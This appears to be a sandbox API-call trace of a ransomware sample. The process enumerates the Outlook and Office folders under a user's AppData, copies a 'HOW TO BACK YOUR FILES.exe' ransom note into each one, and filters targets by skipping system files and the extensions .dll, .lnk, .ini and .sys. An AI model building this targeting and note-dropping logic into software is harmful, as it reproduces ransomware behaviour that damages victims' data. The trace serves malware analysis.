	[0045.786] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb4c1b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x335bf630, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x335bf630, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0045.786] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.786] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0045.786] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0045.786] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0045.786] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x335bf630, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x335bf630, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0045.786] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0045.786] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x335bf630, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x335bf630, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0045.787] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0045.787] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc30
	[0045.787] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook"
	[0045.787] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf678 | out: hHeap=0x580000) returned 1
	[0045.787] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc28 | out: hHeap=0x580000) returned 1
	[0045.787] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook") returned 61
	[0045.787] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook"
	[0045.787] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0045.787] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\outlook\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0045.792] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0045.792] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3dc40980, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x335e5790, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x335e5790, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0045.793] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.793] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0045.793] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0045.793] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3dc40980, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x335e5790, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x335e5790, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0045.793] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.793] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0045.793] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0045.793] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0045.793] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x335e5790, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x335e5790, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0045.793] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0045.793] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3dc8cc40, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x3dc8cc40, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x3dc8cc40, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x462, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mapisvc.inf", cAlternateFileName="")) returned 1
	[0045.793] lstrcmpiW (lpString1="mapisvc.inf", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0045.793] lstrcmpiW (lpString1="mapisvc.inf", lpString2="Apollon865.txt.exe") returned 1
	[0045.793] lstrcmpiW (lpString1="mapisvc.inf", lpString2=".") returned 1
	[0045.793] lstrcmpiW (lpString1="mapisvc.inf", lpString2="..") returned 1
	[0045.793] lstrcmpiW (lpString1="mapisvc.inf", lpString2="windows") returned -1
	[0045.793] lstrcmpiW (lpString1="mapisvc.inf", lpString2="bootmgr") returned 1
	[0045.793] lstrcmpiW (lpString1="mapisvc.inf", lpString2="temp") returned -1
	[0045.793] lstrcmpiW (lpString1="mapisvc.inf", lpString2="pagefile.sys") returned -1
	[0045.793] lstrcmpiW (lpString1="mapisvc.inf", lpString2="boot") returned 1
	[0045.793] lstrcmpiW (lpString1="mapisvc.inf", lpString2="ids.txt") returned 1
	[0045.794] lstrcmpiW (lpString1="mapisvc.inf", lpString2="ntuser.dat") returned -1
	[0045.794] lstrcmpiW (lpString1="mapisvc.inf", lpString2="perflogs") returned -1
	[0045.794] lstrcmpiW (lpString1="mapisvc.inf", lpString2="MSBuild") returned -1
	[0045.794] lstrlenW (lpString="mapisvc.inf") returned 11
	[0045.794] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\*") returned 63
	[0045.794] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="mapisvc.inf" | out: lpString1="mapisvc.inf") returned="mapisvc.inf"
	[0045.794] lstrlenW (lpString="mapisvc.inf") returned 11
	[0045.794] lstrlenW (lpString="Apollon865") returned 10
	[0045.794] lstrcmpiW (lpString1="apisvc.inf", lpString2="Apollon865") returned -1
	[0045.794] lstrlenW (lpString=".dll") returned 4
	[0045.794] lstrcmpiW (lpString1="mapisvc.inf", lpString2=".dll") returned 1
	[0045.794] lstrlenW (lpString=".lnk") returned 4
	[0045.794] lstrcmpiW (lpString1="mapisvc.inf", lpString2=".lnk") returned 1
	[0045.794] lstrlenW (lpString=".ini") returned 4
	[0045.794] lstrcmpiW (lpString1="mapisvc.inf", lpString2=".ini") returned 1
	[0045.794] lstrlenW (lpString=".sys") returned 4
	[0045.794] lstrcmpiW (lpString1="mapisvc.inf", lpString2=".sys") returned 1
	[0045.794] lstrlenW (lpString="mapisvc.inf") returned 11
	[0045.794] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="Outlook.sharing.xml.obi" | out: lpString1="Outlook.sharing.xml.obi") returned="Outlook.sharing.xml.obi"
	[0045.794] lstrlenW (lpString="Outlook.sharing.xml.obi") returned 23
	[0045.794] lstrlenW (lpString="Apollon865") returned 10
	[0045.794] lstrcmpiW (lpString1="ng.xml.obi", lpString2="Apollon865") returned 1
	[0045.794] lstrlenW (lpString=".dll") returned 4
	[0045.794] lstrcmpiW (lpString1="Outlook.sharing.xml.obi", lpString2=".dll") returned 1
	[0045.794] lstrlenW (lpString=".lnk") returned 4
	[0045.794] lstrcmpiW (lpString1="Outlook.sharing.xml.obi", lpString2=".lnk") returned 1
	[0045.794] lstrlenW (lpString=".ini") returned 4
	[0045.794] lstrcmpiW (lpString1="Outlook.sharing.xml.obi", lpString2=".ini") returned 1
	[0045.794] lstrlenW (lpString=".sys") returned 4
	[0045.794] lstrcmpiW (lpString1="Outlook.sharing.xml.obi", lpString2=".sys") returned 1
	[0045.794] lstrlenW (lpString="Outlook.sharing.xml.obi") returned 23
	[0045.795] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="RoamCache" | out: lpString1="RoamCache") returned="RoamCache"
	[0045.795] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc28
	[0045.795] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x90) returned 0x599450
	[0045.795] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc30 | out: ListHead=0x5b76b0, ListEntry=0x59fc30) returned 0x59fc10
	[0045.795] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x609dab00, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x609dab00, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x609dab00, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RoamCache", cAlternateFileName="ROAMCA~1")) returned 0
	[0045.795] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0045.795] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc30
	[0045.795] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\RoamCache", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\RoamCache") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\RoamCache"
	[0045.795] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0045.795] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc28 | out: hHeap=0x580000) returned 1
	[0045.795] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\RoamCache") returned 71
	[0045.795] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\RoamCache" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\RoamCache") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\RoamCache"
	[0045.795] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0045.795] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\RoamCache\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\outlook\\roamcache\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0045.799] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0045.799] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\RoamCache\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x609dab00, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x335e5790, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x335e5790, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0045.799] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.799] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0045.799] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0045.799] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x609dab00, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x335e5790, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x335e5790, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0045.799] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.799] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0045.799] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0045.799] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0045.799] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x335e5790, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x335e5790, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0045.799] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0045.799] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x609dab00, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x609dab00, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x60a26dc0, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x104, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Stream_ContactPrefs_2_F230E11936B7D740A008FFC660E83C71.dat", cAlternateFileName="STREAM~1.DAT")) returned 1
	[0045.799] lstrcmpiW (lpString1="Stream_ContactPrefs_2_F230E11936B7D740A008FFC660E83C71.dat", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0045.799] lstrcmpiW (lpString1="Stream_ContactPrefs_2_F230E11936B7D740A008FFC660E83C71.dat", lpString2="Apollon865.txt.exe") returned 1
	[0045.799] lstrcmpiW (lpString1="Stream_ContactPrefs_2_F230E11936B7D740A008FFC660E83C71.dat", lpString2=".") returned 1
	[0045.799] lstrcmpiW (lpString1="Stream_ContactPrefs_2_F230E11936B7D740A008FFC660E83C71.dat", lpString2="..") returned 1
	[0045.800] lstrcmpiW (lpString1="Stream_ContactPrefs_2_F230E11936B7D740A008FFC660E83C71.dat", lpString2="windows") returned -1
	[0045.800] lstrcmpiW (lpString1="Stream_ContactPrefs_2_F230E11936B7D740A008FFC660E83C71.dat", lpString2="bootmgr") returned 1
	[0045.800] lstrcmpiW (lpString1="Stream_ContactPrefs_2_F230E11936B7D740A008FFC660E83C71.dat", lpString2="temp") returned -1
	[0045.800] lstrcmpiW (lpString1="Stream_ContactPrefs_2_F230E11936B7D740A008FFC660E83C71.dat", lpString2="pagefile.sys") returned 1
	[0045.800] lstrcmpiW (lpString1="Stream_ContactPrefs_2_F230E11936B7D740A008FFC660E83C71.dat", lpString2="boot") returned 1
	[0045.800] lstrcmpiW (lpString1="Stream_ContactPrefs_2_F230E11936B7D740A008FFC660E83C71.dat", lpString2="ids.txt") returned 1
	[0045.800] lstrcmpiW (lpString1="Stream_ContactPrefs_2_F230E11936B7D740A008FFC660E83C71.dat", lpString2="ntuser.dat") returned 1
	[0045.800] lstrcmpiW (lpString1="Stream_ContactPrefs_2_F230E11936B7D740A008FFC660E83C71.dat", lpString2="perflogs") returned 1
	[0045.800] lstrcmpiW (lpString1="Stream_ContactPrefs_2_F230E11936B7D740A008FFC660E83C71.dat", lpString2="MSBuild") returned 1
	[0045.800] lstrlenW (lpString="Stream_ContactPrefs_2_F230E11936B7D740A008FFC660E83C71.dat") returned 58
	[0045.800] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\RoamCache\\*") returned 73
	[0045.800] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="Stream_ContactPrefs_2_F230E11936B7D740A008FFC660E83C71.dat" | out: lpString1="Stream_ContactPrefs_2_F230E11936B7D740A008FFC660E83C71.dat") returned="Stream_ContactPrefs_2_F230E11936B7D740A008FFC660E83C71.dat"
	[0045.800] lstrlenW (lpString="Stream_ContactPrefs_2_F230E11936B7D740A008FFC660E83C71.dat") returned 58
	[0045.800] lstrlenW (lpString="Apollon865") returned 10
	[0045.800] lstrcmpiW (lpString1="E83C71.dat", lpString2="Apollon865") returned 1
	[0045.800] lstrlenW (lpString=".dll") returned 4
	[0045.800] lstrcmpiW (lpString1="Stream_ContactPrefs_2_F230E11936B7D740A008FFC660E83C71.dat", lpString2=".dll") returned 1
	[0045.800] lstrlenW (lpString=".lnk") returned 4
	[0045.800] lstrcmpiW (lpString1="Stream_ContactPrefs_2_F230E11936B7D740A008FFC660E83C71.dat", lpString2=".lnk") returned 1
	[0045.800] lstrlenW (lpString=".ini") returned 4
	[0045.800] lstrcmpiW (lpString1="Stream_ContactPrefs_2_F230E11936B7D740A008FFC660E83C71.dat", lpString2=".ini") returned 1
	[0045.800] lstrlenW (lpString=".sys") returned 4
	[0045.800] lstrcmpiW (lpString1="Stream_ContactPrefs_2_F230E11936B7D740A008FFC660E83C71.dat", lpString2=".sys") returned 1
	[0045.800] lstrlenW (lpString="Stream_ContactPrefs_2_F230E11936B7D740A008FFC660E83C71.dat") returned 58
	[0045.800] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office"
	[0045.800] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0045.800] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc08 | out: hHeap=0x580000) returned 1
	[0045.800] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office") returned 60
	[0045.800] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office"
	[0045.800] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0045.801] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0045.805] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0045.805] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x335e5790, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x335e5790, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0045.806] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.806] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0045.806] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0045.806] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x335e5790, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x335e5790, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0045.806] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.806] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0045.806] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0045.806] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0045.806] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x197ec0b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf7a855a0, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7a855a0, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="14.0", cAlternateFileName="")) returned 1
	[0045.806] lstrcmpiW (lpString1="14.0", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.806] lstrcmpiW (lpString1="14.0", lpString2="Apollon865.txt.exe") returned -1
	[0045.806] lstrcmpiW (lpString1="14.0", lpString2=".") returned 1
	[0045.806] lstrcmpiW (lpString1="14.0", lpString2="..") returned 1
	[0045.806] lstrcmpiW (lpString1="14.0", lpString2="windows") returned -1
	[0045.806] lstrcmpiW (lpString1="14.0", lpString2="bootmgr") returned -1
	[0045.806] lstrcmpiW (lpString1="14.0", lpString2="temp") returned -1
	[0045.806] lstrcmpiW (lpString1="14.0", lpString2="pagefile.sys") returned -1
	[0045.806] lstrcmpiW (lpString1="14.0", lpString2="boot") returned -1
	[0045.806] lstrcmpiW (lpString1="14.0", lpString2="ids.txt") returned -1
	[0045.806] lstrcmpiW (lpString1="14.0", lpString2="ntuser.dat") returned -1
	[0045.806] lstrcmpiW (lpString1="14.0", lpString2="perflogs") returned -1
	[0045.806] lstrcmpiW (lpString1="14.0", lpString2="MSBuild") returned -1
	[0045.806] lstrlenW (lpString="14.0") returned 4
	[0045.806] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\*") returned 62
	[0045.806] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="14.0" | out: lpString1="14.0") returned="14.0"
	[0045.806] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc08
	[0045.806] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x84) returned 0x5b8d78
	[0045.806] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc10 | out: ListHead=0x5b76b0, ListEntry=0x59fc10) returned 0x59fbf0
	[0045.806] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Groove", cAlternateFileName="")) returned 1
	[0045.806] lstrcmpiW (lpString1="Groove", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.807] lstrcmpiW (lpString1="Groove", lpString2="Apollon865.txt.exe") returned 1
	[0045.807] lstrcmpiW (lpString1="Groove", lpString2=".") returned 1
	[0045.807] lstrcmpiW (lpString1="Groove", lpString2="..") returned 1
	[0045.807] lstrcmpiW (lpString1="Groove", lpString2="windows") returned -1
	[0045.807] lstrcmpiW (lpString1="Groove", lpString2="bootmgr") returned 1
	[0045.807] lstrcmpiW (lpString1="Groove", lpString2="temp") returned -1
	[0045.807] lstrcmpiW (lpString1="Groove", lpString2="pagefile.sys") returned -1
	[0045.807] lstrcmpiW (lpString1="Groove", lpString2="boot") returned 1
